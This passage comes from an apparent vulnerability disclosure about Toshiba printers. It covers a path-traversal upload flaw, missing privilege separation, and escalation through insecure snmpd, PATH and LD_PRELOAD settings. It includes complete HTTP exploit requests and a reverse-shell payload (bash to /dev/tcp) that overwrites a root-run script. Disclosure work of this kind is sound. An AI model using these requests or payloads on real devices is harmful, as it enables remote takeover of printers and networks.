<li>http://printer-ip/Administration/maintenance/uploadsoft/MacList.html</li>
<li>http://printer-ip/Administration/maintenance/uploadsoft/PointAndPrintList.html</li>
<li>http://printer-ip/Administration/maintenance/uploadsoft/UnixList.html</li>
<li>http://printer-ip/Administration/maintenance/uploadsoft/UploadList.html</li>
<li>http://printer-ip/Administration/maintenance/xmlformat/XmlFormatList.html</li>
<li>http://printer-ip/Administration/maintenance/import/ImportListFrame.html</li>
<li>http://printer-ip/Administration/maintenance/backup/BackupList.html</li>
<li>http://printer-ip/Administration/Security/Certificates/CertUpload.html</li>
<li>http://printer-ip/Administration/MetaScan/XMLFormatFile/XmlFormatList.html</li>
<li>http://printer-ip/Administration/Setup/setting/DDNSUpload.html</li>
<li>http://printer-ip/Administration/Setup/ServerConnErrRegFileUpload.html</li>
<li>http://printer-ip/Administration/Setup/PDLUpload.html</li>
<li>http://printer-ip/Administration/Setup/ICCProfile/ImportICCProfile.html</li>
<li>http://printer-ip/Administration/SystemUpdates/nSystemUpdatesUpload.html</li>
</ul>
<p>All these upload functionalities are vulnerable: they allow an attacker with admin privilege to overwrite any file present in the printers.</p>
<p>The vulnerability likely resides in the <code>/home/SYSROM_SRC/build/release/lib/mod_contentwebserver.so.0</code> library, where the <code>/contentwebserver/upload</code> API is implemented. Consequently, this is a unique vulnerability that is reachable by using different upload forms.</p>
<p>For example, we can see 3 different types of upload forms:</p>
<p>Upload of Driver files</p>
<p><img alt="" src="images/2024-toshiba-post-auth-upload-file-01.png" /></p>
<p><a href="images/2024-toshiba-post-auth-upload-file-01-full.png">Click here for full image</a></p>
<p>Upload of Unix filters</p>
<p><img alt="" src="images/2024-toshiba-post-auth-upload-file-02.png" /></p>
<p><a href="images/2024-toshiba-post-auth-upload-file-02-full.png">Click here for full image</a></p>
<p>Upload of address book, mailboxes and templates</p>
<p><img alt="" src="images/2024-toshiba-post-auth-upload-file-03.png" /></p>
<p><a href="images/2024-toshiba-post-auth-upload-file-03-full.png">Click here for full image</a></p>
<p>All of these forms are vulnerable by crafting a malicious <code>name</code> value as shown in the next screenshot. It is possible to change the HTTP request by modifying the name value to rewrite any file in the printer.</p>
<p>For example, it is possible to overwrite the <code>/home/SYSROM_SRC/build/common/bin/networkservice/ldapserver</code> shell script by sending a malicious file using the name value <code>/./../../../../../home/SYSROM_SRC/build/common/bin/networkservice/ldapserver</code>:</p>
<p>Upload of malicious ldapserver shell script:</p>
<p><img alt="" src="images/2024-toshiba-post-auth-upload-file-04.png" /></p>
<p>It is necessary to update the cookie and the CsrfpId values:</p>
<pre><code>POST /contentwebserver/upload HTTP/1.1
Host: 10.0.0.1:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------136357212815291094282690264320
Content-Length: 1056
Origin: http://10.0.0.1:8081
Connection: close
Referer: http://10.0.0.1:8081/Administration/maintenance/uploadsoft/DriverCustomize.html?v=1670278837ta&amp;fileMode=3
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DMAINT%26CAT%3DUPSW; IgnoreSessionTimeout=1; Session=10.0.0.2.3dfcc68624ce6c49d245e33f704a92b3; clicked=0; addrLastVisited=FAVGRP
Upgrade-Insecure-Requests: 1

-----------------------------136357212815291094282690264320
Content-Disposition: form-data; name="formSubmitCompleteEventHandler"

frames[0].formSubmitCompleteUploadList
-----------------------------136357212815291094282690264320
Content-Disposition: form-data; name="DeviceInformationModel"

&lt;DeviceInformationModel&gt;&lt;Command&gt;&lt;Move&gt;&lt;commandNode&gt;FileStorages&lt;/commandNode&gt;&lt;Params&gt;&lt;source&gt;&lt;File&gt;script.zip&lt;/File&gt;&lt;name&gt;Upload&lt;/name&gt;&lt;/source&gt;&lt;destination&gt;&lt;name&gt;PDPlugin&lt;/name&gt;&lt;/destination&gt;&lt;/Params&gt;&lt;/Move&gt;&lt;/Command&gt;&lt;/DeviceInformationModel&gt;
-----------------------------136357212815291094282690264320
Content-Disposition: form-data; name="CsrfpId"

10.0.0.2.3dfcc68624ce6c49d245e33f704a92b3
-----------------------------136357212815291094282690264320
Content-Disposition: form-data; name="/./../../../../../home/SYSROM_SRC/build/common/bin/networkservice/ldapserver"; filename="script.zip"
Content-Type: application/zip

#!/bin/sh

bash -i &gt;&amp; /dev/tcp/10.0.0.2/21 0&gt;&amp;1

-----------------------------136357212815291094282690264320--
</code></pre>
<p>Following this HTTP request, the file <code>/home/SYSROM_SRC/build/common/bin/networkservice/ldapserver</code> will be overwritten with a malicious payload.</p>
<p>Before the execution of the HTTP request, the file is normal:</p>
<pre><code>bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
-rwxrwxrwx 1 root root 7007 Mar 15 11:45 /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
bash-4.1# head /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
#!/bin/bash
LDAP_STARTUP_STATUS=0;

function stop() {
        echo "slapd is stopped"
        kill -SIGINT `pgrep slapd`
        check_stop_process
}

function start() {
bash-4.1#
</code></pre>
<p>After the execution of the HTTP request, the file has been modified. It now contains the malicious payload:</p>
<pre><code>bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
-rw-rw-rw- 1 apache trusted 52 May 27 16:35 /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
bash-4.1# cat /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
#!/bin/sh

bash -i &gt;&amp; /dev/tcp/10.0.0.2/21 0&gt;&amp;1
bash-4.1#
</code></pre>
<p>Another exploitation of a different form is shown below, using the upload of drivers. It exploits the same vulnerability. The file <code>/home/SYSROM_SRC/sbin/malicious.program</code> will contain <code>test</code>:</p>
<p>Upload of <code>/home/SYSROM_SRC/sbin/malicious.program</code>:</p>
<pre><code>POST /contentwebserver/upload HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------8960912535828260861374302822
Content-Length: 1813
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/Administration/maintenance/uploadsoft/UnixList.html?v=1517352288ta&amp;fileMode=2
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DMAINT%26CAT%3DUPSW; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; SessionID=Session_3e61919e-556b-4be7-8a18-91bb65a4752b; clicked=0; addrLastVisited=ADDRBK; IgnoreSessionTimeout=1; Session=10.0.0.2.cab8f72fb0d8c69e622235cfff9d3cee
Upgrade-Insecure-Requests: 1

-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="formSubmitCompleteEventHandler"

frames[0].formSubmitCompleteUploadList
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="DeviceInformationModel"

&lt;DeviceInformationModel&gt;&lt;Command&gt;&lt;Move&gt;&lt;commandNode&gt;FileStorages&lt;/commandNode&gt;&lt;Params&gt;&lt;source&gt;&lt;File&gt;aix.tar&lt;/File&gt;&lt;name&gt;Upload&lt;/name&gt;&lt;/source&gt;&lt;destination&gt;&lt;name&gt;Unix-Filters&lt;/name&gt;&lt;/destination&gt;&lt;/Params&gt;&lt;/Move&gt;&lt;/Command&gt;&lt;/DeviceInformationModel&gt;
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="CsrfpId"

10.0.0.2.cab8f72fb0d8c69e622235cfff9d3cee
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="/./../../../../../home/SYSROM_SRC/sbin/malicious.program"; filename="aix.tar"
Content-Type: application/x-tar

test

-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="hpux.tar"; filename=""
Content-Type: application/octet-stream


-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="hpux64.tar"; filename=""
Content-Type: application/octet-stream


-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="linux.tar"; filename=""
Content-Type: application/octet-stream


-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="openunix.tar"; filename=""
Content-Type: application/octet-stream


-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="solaris.tar"; filename=""
Content-Type: application/octet-stream


-----------------------------8960912535828260861374302822--
</code></pre>
<p>And we can confirm this file has been uploaded on the printer:</p>
<pre><code>bash-4.1# ls -la /home/SYSROM_SRC/sbin/malicious.program
-rw-rw-rw- 1 apache trusted 5 May 27 07:48 /home/SYSROM_SRC/sbin/malicious.program
bash-4.1#
</code></pre>
<p>This vulnerability can be used to get Remote Code Executions using several different ways. Due to some weaknesses found in Toshiba printers, there are hundreds different ways to get Remote Code Execution. For example:</p>
<ul>
<li>Upload of a malicious library defined in the LD_PRELOAD variable:<ul>
<li>/ramdisk/al/libGetNameInfoInterface.so or /ramdisk/al/libGetAddtInfoInterface.so can be overwritten by a malicious library</li>
</ul>
</li>
<li>Upload of a malicious library using the LD_LIBRARY_PATH variable - An attacker can upload malicious libraries inside:<ul>
<li>/home/SYSROM_SRC/build/release/lib,</li>
<li>/mfp/lib,</li>
<li>/home/SYSROM_SRC/NoBuildItems/common/lib,</li>
<li>/home/SYSROM_SRC/build/thirdparty/plugins/platforminputcontexts/,</li>
<li>/home/SYSROM_SRC/build/release/lib.</li>
</ul>
</li>
<li>Upload of a malicious program due to insecure permissions:<ul>
<li>As shown in <a href="#lpe-rce-106-programs">Local Privilege Escalation and Remote Code Execution using insecure permissions for 106 programs</a>, a lot of programs running as root can be overwritten due to insecure permissions (777)</li>
</ul>
</li>
<li>Upload a malicious Python program or a malicious Python library</li>
<li>Replace Bash scripts</li>
<li>...</li>
</ul>
<p>An attacker with admin privileges can remotely compromise any Toshiba printer.</p>
<p>An attacker with admin privileges can overwrite any insecure file (including programs running as root and Python code).</p>
<p><a id="lack-privilages-separation"></a></p>
<h2>Details - Lack of privileges separation</h2>
<p>Toshiba printers do not implement privileges separation. An attacker compromising a program will be able to compromise the entire printer.</p>
<p>For example, all the programs, except Apache, are running as root.</p>
<p>Apache is not running as root but a Local Privilege Escalation can be achieved using one of these vulnerabilities:</p>
<ul>
<li><a href="#lpe-rce-snmpd">Local Privilege Escalation and Remote Code Execution using snmpd</a></li>
<li><a href="#lpe-rce-path">Local Privilege Escalation and Remote Code Execution using insecure PATH</a></li>
<li><a href="#lpe-rce-ld-preload">Local Privilege Escalation and Remote Code Execution using insecure LD_PRELOAD</a></li>
<li><a href="#lpe-rce-ld-library-path">Local Privilege Escalation and Remote Code Execution using insecure LD_LIBRARY_PATH</a></li>
<li><a href="#lpe-rce-106-programs">Local Privilege Escalation and Remote Code Execution using insecure permissions for 106 programs</a></li>
</ul>
<p>Listing of processes on the printer:</p>
<pre><code>bash-4.1# ps auxw
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   1740   512 ?        Ss   16:34   0:00 init [3]  
root         2  0.0  0.0      0     0 ?        S    16:34   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S    16:34   0:00 [ksoftirqd/0]
[...]
root      1448  0.0  0.7 143680 21860 ?        Sl   16:34   0:00 /home/SYSROM_SRC/build/release/bin/slapd -h ldap://127.0.0.1 -f /home/SYSROM_SRC/build/release/etc/openldap/slapd.conf -d 1
root      1460  0.0  0.2 387308  8036 ?        Sl   16:34   0:02 /home/SYSROM_SRC/bin/mapper firstboot=0
root      1482  0.0  0.0  26120  2628 ?        Ss   16:34   0:00 /usr/local/ebx/httpd_worker/bin/httpd_worker -f /encryption/al/network/config/httpd-prox.conf -k start
apache    1486  0.0  0.1 1264444 3728 ?        Sl   16:34   0:00 /usr/local/ebx/httpd_worker/bin/httpd_worker -f /encryption/al/network/config/httpd-prox.conf -k start
[...]
root      1757  0.0  0.2  34388  8176 ?        S    16:34   0:00 ./cipollproc
root      1758  0.0  0.2  34432  8180 ?        S&lt;   16:34   0:00 ./ciprioritymanager
root      1785  0.3  1.9 815004 59476 ?        Sl   16:34   0:51 ./ebx_dl 1539 1537 1540 1 2 3 -T8
root      1786  0.0  0.5 101584 15612 ?        S    16:34   0:00 ./de_ipfax 1539 1537 1540 1 2 3 -T8
root      1803  0.0  0.3  38908  9448 ?        S    16:34   0:00 ./alnfcplugin
root      1846  0.0  0.0  15544  2788 ?        S    16:34   0:00 /home/SYSROM_SRC/bin/eBXDebugLogUtility
root      1850  0.0  0.0   1744   500 ttyS0    Ss+  16:34   0:00 /sbin/getty 115200 ttyS0
root      1864  0.0  0.4  46528 13060 ?        S    16:34   0:00 ./alfilestoragem -T8
root      1866  0.0  0.6  60164 18036 ?        S    16:34   0:00 ./alusermgr
root      1867  0.0  0.4  44120 14156 ?        S    16:34   0:00 ./allicensemgmt
root      1868  0.0  0.6  56792 18680 ?        Sl   16:34   0:00 ./aldeviceserviceplugin
root      1869  0.0  1.4  84708 42192 ?        S    16:34   0:03 ./aldeviceconfigplugin
root      1870  0.0  0.6  60856 20516 ?        S    16:34   0:01 ./aluserAuthMgr
root      1871  0.0  0.3  41912 11224 ?        S    16:34   0:00 ./algrpmgr
root      1872  0.0  0.4  43616 13080 ?        S    16:34   0:00 ./alrolemgr
root      1873  0.0  0.5  54708 14972 ?        Sl   16:34   0:05 ./alrestrictionmode
root      1874  0.0  0.5  61692 15364 ?        Sl   16:34   0:00 ./alsecurityconfiguration
root      1875  0.0  0.3  41408 11008 ?        S    16:34   0:00 ./alintegritychkmgr
root      1876  0.3  3.6 482584 108060 ?       Sl   16:34   0:43 ./alUiFrameWork legacy -S ramdisk
root      1877  0.0  0.9  92276 26968 ?        Sl   16:34   0:01 ./alpanel panel 49 Controller/Settings/autoClear Controller/Information/Locale -T4
root      1878  0.0  0.4  60888 14588 ?        S    16:34   0:00 ./aljobtemplatemgr
root      1879  0.0  0.3  42492 11204 ?        S    16:34   0:00 ./alLogRetriever -T8
root      1880  0.0  0.4  49340 14248 ?        S    16:34   0:00 ./alExportImport -T8
root      1881  0.0  0.4  57852 14596 ?        S    16:34   0:00 ./aleFilingmgr -T8
root      1882  0.0  0.4  60244 13020 ?        Sl   16:34   0:00 ./alpresentationresourcemgr -T8
root      1883  0.0  0.2  35036  8340 ?        S    16:34   0:00 ./alServiceUIPlugin
root      1884  0.0  0.3  45624 10220 ?        Sl   16:34   0:00 ./alPanelUIMessageHandler -S ramdisk
root      1885  0.0  0.3  42016 11916 ?        S    16:34   0:00 ./alusbmscapplication
root      1886  0.0  0.4  70124 12236 ?        Sl   16:34   0:00 ./alViewPlugin
root      1887  0.0  0.4  83200 12652 ?        Sl   16:34   0:00 ./alsharedprintDp -T8
root      1888  0.0  0.7  62028 22420 ?        S    16:34   0:06 ./alnsm -d9 -m00 -T5
root      1890  0.0  0.5 128920 16292 ?        Sl   16:34   0:00 ./aljobcontroller -T8
root      1891  0.0  0.4 118216 12728 ?        Sl   16:34   0:00 ./alprintmn -T8
root      1892  0.0  0.3  49888 11220 ?        Sl   16:34   0:00 ./alreportsmsgr
root      1893  0.0  0.5  72764 17720 ?        Sl   16:34   0:00 ./alreportmanager
root      1922  0.0  0.3  46056 11236 ?        S    16:34   0:00 ./almailboxapplication
root      1923  0.0  0.4  44204 13528 ?        S    16:34   0:00 ./alsoftwareupdateclient -T8
root      1974  0.0  0.5  56496 15560 ?        S    16:34   0:00 ./alifaxreceive -T8
root      1975  0.0  0.4  47184 14844 ?        S    16:34   0:00 ./almaintenanceplugin -T6
root      1976  0.0  0.3  41416 11312 ?        S    16:34   0:00 ./alpdlfiltermanager
root      1977  0.0  0.4  51736 14524 ?        S    16:34   0:00 ./alCloning -T8
root      1978  0.0  0.3  43528  9412 ?        Sl   16:34   0:00 ./alPanelStartLEDHandler
root      1979  0.0  0.3  39964 11504 ?        S    16:34   0:00 ./alhomedatamgr
root      1980  0.0  0.6  47532 18748 ?        S    16:34   0:00 ./sim -T8
root      1981  0.0  0.7  92856 23600 ?        Sl   16:34   0:01 ./informationservice -T8
root      1982  0.0  0.2  34624  8476 ?        S    16:34   0:00 ./sljobmanagement -T8
root      1985  0.0  0.7  59792 22588 ?        Sl   16:34   0:00 ./notificationservice 1284 -T8
root      1986  0.0  0.9  87936 28716 ?        Sl   16:34   0:03 ./wfpc -T8
root      1987  0.0  0.3  35524  9156 ?        S    16:34   0:00 ./armn -T8
root      2205  0.0  0.4  59596 12808 ?        Ss   16:35   0:00 ./wfpc -T8
root      2208  0.0  0.3  59144 11220 ?        Ss   16:35   0:00 ./wfpc -T8
root      2327  0.0  0.4  55020 13452 ?        S    16:35   0:00 ./alAddressBookMgr
root      2328  0.0  0.5  72396 15208 ?        Sl   16:35   0:00 ./alaccountmgr
root      2426  0.0  0.3  46192 10496 ?        Sl   16:35   0:00 ./agent_scan 1282 1 -T8
root      2428  0.0  0.3  44272  9844 ?        Sl   16:35   0:00 ./agent_faxreceive 1282 2 -T8
root      2430  0.0  0.6 450116 19668 ?        Sl   16:35   0:00 ./agent_rip 1282 6 -T8
root      2432  0.0  0.3  47100 10260 ?        Sl   16:35   0:00 ./agent_print 1282 15 -T8
root      2433  0.0  0.3  44316  9816 ?        Sl   16:35   0:00 ./agent_faxtransmit 1282 16 -T8
root      2434  0.0  0.3  44296  9800 ?        Sl   16:35   0:00 ./agent_ipfaxtransmit 1282 31 -T8
root      2435  0.0  0.3  44268  9796 ?        Sl   16:35   0:00 ./agent_ipfaxreceive 1282 32 -T8
root      2515  0.0  0.4  54636 13444 ?        Sl   16:35   0:00 ./alulm
root      2516  0.0  0.3 249732  9260 ?        Sl   16:35   0:00 ./alcbamanager -S ramdisk
root      2614  0.0  0.5 183976 17564 ?        Sl   16:35   0:00 ./alappmanager
root      2870  0.0  0.4  54968 14848 ?        Sl   16:35   0:00 ./alLogmanager
root      2871  0.0  0.4  46088 13440 ?        S    16:35   0:00 ./alhddbackuprestore
[...]
root      3784  0.0  0.4  45704 12760 ?        S    16:35   0:00 /home/SYSROM_SRC/build/release/bin/alftpprintd
root      3828  0.0  0.0  15516  2424 ?        S    16:35   0:00 /home/SYSROM_SRC/build/release/bin/vsftpd -enableprinting
root      3860  0.1  2.3 201372 70908 ?        Sl   16:35   0:25 python /home/SYSROM_SRC/build/release/bin/sapphost.py 10000000-0000-0000-0000-500000000000
root      3935  0.0  0.4 218132 13644 ?        Sl   16:35   0:00 /home/SYSROM_SRC/build/release/bin/alhp9100 -f /encryption/al/network/config/hp9100.conf
root      3970  0.1  1.6 144908 48860 ?        Sl   16:35   0:24 python /home/SYSROM_SRC/build/release/bin/sapphost.py 10000000-0000-0000-0000-500000000001
root      3992  0.0  0.2  33948  8128 ?        S    16:35   0:00 /home/SYSROM_SRC/build/release/bin/snmp_watchdog
root      4025  0.0  0.2  34236  8920 ?        S    16:35   0:00 /home/SYSROM_SRC/bin/dnsValidateDaemon
[...]
</code></pre>
<p>The printer does not implement separation of privileges.</p>
<p>A vulnerability found inside one of the multiple components in the printer is enough to completely compromise the security of printer. </p>
<p><a id="lpe-rce-snmpd"></a></p>
<h2>Details - Local Privilege Escalation and Remote Code Execution using snmpd</h2>
<p>Toshiba printers are vulnerable to a Local Privilege Escalation vulnerability because of an insecure library defined inside the configuration of snmpd. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious library.</p>
<p>The snmpd configuration file located at <code>/encryption/al/network/config/snmpd.conf</code> contains the loading of an external and Toshiba-specific library. The code contained inside this library will be executed as root (as snmpd is running as root).</p>
<p>Content of <code>/encryption/al/network/config/snmpd.conf</code>:</p>
<pre><code>dlmod  mibs_impl                        /home/SYSROM_SRC/lib/libalmibs_impl.so
</code></pre>
<p>This file is a symbolic link to the <code>/home/SYSROM_SRC/lib/libalmibs_impl.so.0</code> library.</p>
<p>The <code>/home/SYSROM_SRC/lib/libalmibs_impl.so.0</code> file has incorrect permissions, allowing any local attacker or any remote attacker exploiting the <a href="#pre-auth-rces-upload">Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a> vulnerability to replace this file with a malicious library.</p>
<pre>
bash-4.1# ls -la /home/SYSROM_SRC/lib/libalmibs_impl.so*
lrwxrwxrwx 1 root root      19 Mar 14 16:27 /home/SYSROM_SRC/lib/libalmibs_impl.so -> libalmibs_impl.so.0
<font color=red>-rwxrwxrwx</font> 1 root root 5239499 Dec  6 03:28 /home/SYSROM_SRC/lib/libalmibs_impl.so.0
bash-4.1#
</pre>

<p>This file will be loaded when snmpd starts. The snmpd program starts during the boot of the printer and is automatically restarted when it crashes.</p>
<p>It is possible to crash the remote snmpd server using the <a href="#pre-auth-rce-snmp">Pre-authenticated Remote Code Execution as root</a> vulnerability to force the restart of the snmpd daemon, load the malicious library and compromise the printer.</p>
<p>An attacker can remotely compromise any Toshiba printer.</p>
<p><a id="lpe-rce-path"></a></p>
<h2>Details - Local Privilege Escalation and Remote Code Execution using insecure PATH</h2>
<p>Toshiba printers are vulnerable to a Local Privilege Escalation vulnerability because of an insecure PATH variable. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious program using the <a href="#pre-auth-rces-upload">Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a> vulnerability.</p>
<p>It was observed that the Toshiba printers are configured with an insecure <code>$PATH</code> variable:</p>
<pre>
bash-4.1# echo $PATH
<font color=red>/home/SYSROM_SRC/build/release/bin:/home/SYSROM_SRC/build/release/sbin:/home/SYSROM_SRC/build/release/bin:
/home/SYSROM_SRC/build/release/sbin:/home/SYSROM_SRC/build/release/bin:/home/SYSROM_SRC/build/release/sbin</font>:
/bin:/usr/bin:/sbin:/usr/sbin:/sbin:/bin/:/usr/bin/:/usr/sbin:/sbin:/bin/:/usr/bin/:/usr/sbin:/sbin:/bin/:/usr/bin/:/usr/sbin
bash-4.1#
</pre>

<p>The <code>$PATH</code> variable contains several directories with insecure permissions (777) allowing any attacker to plant malicious programs that will be then executed instead of regular programs:</p>
<ul>
<li><code>/home/SYSROM_SRC/build/release/bin</code></li>
<li><code>/home/SYSROM_SRC/build/release/sbin</code></li>
</ul>
<p>These 2 directories are specified multiple times and are configured with the 777 permissions:</p>
<p>Insecure permissions of <code>/home/SYSROM_SRC/build/release/bin</code> and <code>/home/SYSROM_SRC/build/release</code>:</p>
<pre>
bash-4.1# ls -la /home/SYSROM_SRC/bin
lrwxrwxrwx 1 root trusted 17 Mar 14 16:34 /home/SYSROM_SRC/bin -> build/release/bin
bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin
total 176508
<font color=red>drwxrwxrwx  2 root root       36864 Mar 15 16:12 .
drwxrwxrwx 19 root root        4096 Mar 14 16:28 ..</font>
lrwxrwxrwx  1 root root          25 Mar 14 16:27 2to3 -> ../../thirdparty/bin/2to3
lrwxrwxrwx  1 root root          29 Mar 14 16:27 2to3-3.5 -> ../../thirdparty/bin/2to3-3.5
-rwxrwxrwx  1 root root      120381 Dec  6 01:56 ALABAMA_Large.ico
-rwxrwxrwx  1 root root       25214 Dec  6 01:56 ALABAMA_Small.ico
-rwxrwxrwx  1 root root      143884 Dec  6 01:56 ALABAMA_f_Large.ico
-rwxrwxrwx  1 root root       25214 Dec  6 01:56 ALABAMA_f_Small.ico
lrwxrwxrwx  1 root root          39 Mar 14 16:27 AppLicenseDataBase -> ../../thirdparty/bin/AppLicenseDataBase
...
</pre>

<p>Insecure permissions of <code>/home/SYSROM_SRC/build/release/sbin</code> and <code>/home/SYSROM_SRC/build/release</code>:</p>
<pre>
bash-4.1# ls -la /home/SYSROM_SRC/sbin
lrwxrwxrwx 1 root root 18 Mar 14 16:34 /home/SYSROM_SRC/sbin -> build/release/sbin
bash-4.1# ls -la /home/SYSROM_SRC/build/release/sbin
total 608
<font color=red>drwxrwxrwx  2 root root  4096 Dec  6 01:40 .
drwxrwxrwx 19 root root  4096 Mar 14 16:28 ..</font>
-rwxrwxrwx  1 root root  4467 Dec  6 01:40 CheckAndRemovePerms.sh
lrwxrwxrwx  1 root root    26 Mar 14 16:27 afpd -> ../../thirdparty/sbin/afpd
lrwxrwxrwx  1 root root    30 Mar 14 16:27 arpaname -> ../../thirdparty/sbin/arpaname
lrwxrwxrwx  1 root root    28 Mar 14 16:27 atalkd -> ../../thirdparty/sbin/atalkd
lrwxrwxrwx  1 root root    30 Mar 14 16:27 cnid_dbd -> ../../thirdparty/sbin/cnid_dbd
lrwxrwxrwx  1 root root    32 Mar 14 16:27 cnid_metad -> ../../thirdparty/sbin/cnid_metad
lrwxrwxrwx  1 root root    34 Mar 14 16:27 ddns-confgen -> ../../thirdparty/sbin/ddns-confgen
...
</pre>

<p>On a side note, the <code>/home/SYSROM_SRC</code> directory is highly insecure with incorrect permissions used everywhere:</p>
<pre>
bash-4.1# ls -la /home/SYSROM_SRC
total 52
drwxr-xr-x 9 root root    4096 Mar 14 16:34 .
drwxr-xr-x 4 root root    4096 Mar 14 16:28 ..
lrwxrwxrwx 1 root root      30 Mar 14 16:28 CBAHttpServer -> /registration/al/CBAHttpServer
lrwxrwxrwx 1 root root      20 Mar 14 16:27 HDBROOT -> /home/SYSROM_SRC/tmp
<font color=red>drwxrwxrwx 7 root root    4096 Dec  6 00:46 NoBuildItems</font>
lrwxrwxrwx 1 root root      28 Mar 14 16:28 Resources -> /registration/data/Resources
lrwxrwxrwx 1 root root      32 Mar 14 16:28 Resources_eBN -> /registration/data/Resources_eBN
-rwxr-xr-x 1 root root    5614 Mar 14 16:28 Startup.sh
lrwxrwxrwx 1 root root      40 Apr  6  2016 TopAccess -> /home/SYSROM_SRC/build/release/TopAccess
lrwxrwxrwx 1 root root      28 Mar 14 16:28 TopAccessPy -> /registration/al/TopAccessPy
lrwxrwxrwx 1 root root      23 Mar 14 16:28 WebAPI -> /registration/al/WebAPI
lrwxrwxrwx 1 root root      25 Mar 14 16:28 WebPanel -> /registration/al/WebPanel
lrwxrwxrwx 1 root trusted   17 Mar 14 16:34 bin -> build/release/bin
drwxr-xr-x 5 root root    4096 Apr  6  2016 build
<font color=red>drwxrwxrwx 2 root root    4096 Dec  6 01:13 config
drwxrwxrwx 3 root root    4096 Mar 14 16:28 data</font>
lrwxrwxrwx 1 root root      17 Mar 14 16:34 etc -> build/release/etc
-rwxr-xr-x 1 root root    1075 Mar 14 16:27 install_rip_ram.sh
<font color=red>drwxrwxrwx 4 root root    4096 Mar 14 16:34 jobdata</font>
lrwxrwxrwx 1 root trusted   17 Mar 14 16:34 lib -> build/release/lib
<font color=red>drwxrwxrwx 2 root root    4096 Dec  6 04:48 logs</font>
lrwxrwxrwx 1 root root      18 Mar 14 16:34 sbin -> build/release/sbin
<font color=red>-rwxrwxrwx 1 root root    3492 Dec  8  2017 setenv</font>
lrwxrwxrwx 1 root root      19 Mar 14 16:34 share -> build/release/share
drwxr-xr-x 3 root root    4096 Dec  6 04:48 var
bash-4.1#
</pre>

<p>An attacker can place any malicious program inside <code>/home/SYSROM_SRC/build/release/bin</code> or <code>/home/SYSROM_SRC/build/release/sbin</code> and they will be executed before legit programs that are stored in the regular UNIX directories (<code>/bin</code>, <code>/usr/bin</code>, <code>/sbin</code>, <code>/usr/sbin</code>).</p>
<p>An attacker can remotely compromise any Toshiba printer.</p>
<p><a id="lpe-rce-ld-preload"></a></p>
<h2>Details - Local Privilege Escalation and Remote Code Execution using insecure LD_PRELOAD</h2>
<p>Toshiba printers are vulnerable to a Local Privilege Escalation vulnerability because of an insecure LD_PRELOAD variable. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious library using the <a href="#pre-auth-rces-upload">Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a> vulnerability.</p>
<p>Toshiba printers are configured with an insecure <code>LD_PRELOAD</code> variable:</p>
<pre><code>bash-4.1# printenv | grep LD_PRELOAD
LD_PRELOAD=/ramdisk/al/libGetNameInfoInterface.so:/ramdisk/al/libGetAddtInfoInterface.so:
bash-4.1#
</code></pre>
<p>The <code>$LD_PRELOAD</code> variable contains 2 libraries with insecure permissions (777) allowing any attacker to replace these libraries with malicious libraries that will be then executed:</p>
<ul>
<li><code>/ramdisk/al/libGetNameInfoInterface.so</code></li>
<li><code>/ramdisk/al/libGetAddtInfoInterface.so</code></li>
</ul>
<p>Checking the permissions of libraries defined in LD_PRELOAD:</p>
<pre>
bash-4.1# ls -la /ramdisk/al/libGetNameInfoInterface.so
<font color=red>-rwxrwxrwx 1 root root 70813 Dec  6 02:02 /ramdisk/al/libGetNameInfoInterface.so</font>
bash-4.1# s -la /ramdisk/al/libGetAddtInfoInterface.so
<font color=red>-rwxrwxrwx 1 root root 87311 Dec  6 02:02 /ramdisk/al/libGetAddtInfoInterface.so</font>
bash-4.1#
</pre>

<p>We can confirm these 2 libraries are loaded within programs inside the printers.</p>
<p>Using <code>/proc/$PID/maps</code>, we can list the libraries loaded inside the programs: these libraries are loaded inside all the programs running as root and apache in the printers:</p>
<pre><code>bash-4.1# cd /proc &amp;&amp; for i in */; do cat $i/cmdline &amp;&amp; echo &amp;&amp; grep ramdisk $i/maps;done
/home/SYSROM_SRC/build/release/bin/nqnd
77788000-77797000 r-xp 00000000 00:0d 10712      /ramdisk/al/libGetAddtInfoInterface.so
77797000-77799000 rw-p 0000e000 00:0d 10712      /ramdisk/al/libGetAddtInfoInterface.so
